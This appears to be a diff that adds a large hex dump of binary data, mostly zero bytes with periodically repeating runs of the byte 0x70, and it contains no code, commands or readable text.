+000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000707070707070707070 +707070707070707070707070707070707070707070707070707070707070707070000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000707070707070707070707070707070707070707070707070 +707070707070707070707070707070707070000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +707070000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000707070707070707070707070707070 +707070707070707070707070707070707070707070707070707070000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000707070707070707070707070707070707070707070707070707070707070 +707070707070707070707070000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000707070707070 +707070707070707070707070707070707070707070707070707070707070707070707070000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000707070707070707070707070707070707070707070 +707070707070707070707070707070707070707070000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000707070707070707070707070707070707070707070707070707070707070707070707070 +707070707070000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000707070707070707070707070 +707070707070707070707070707070707070707070707070707070707070000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000707070707070707070707070707070707070707070707070707070 +707070707070707070707070707070000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 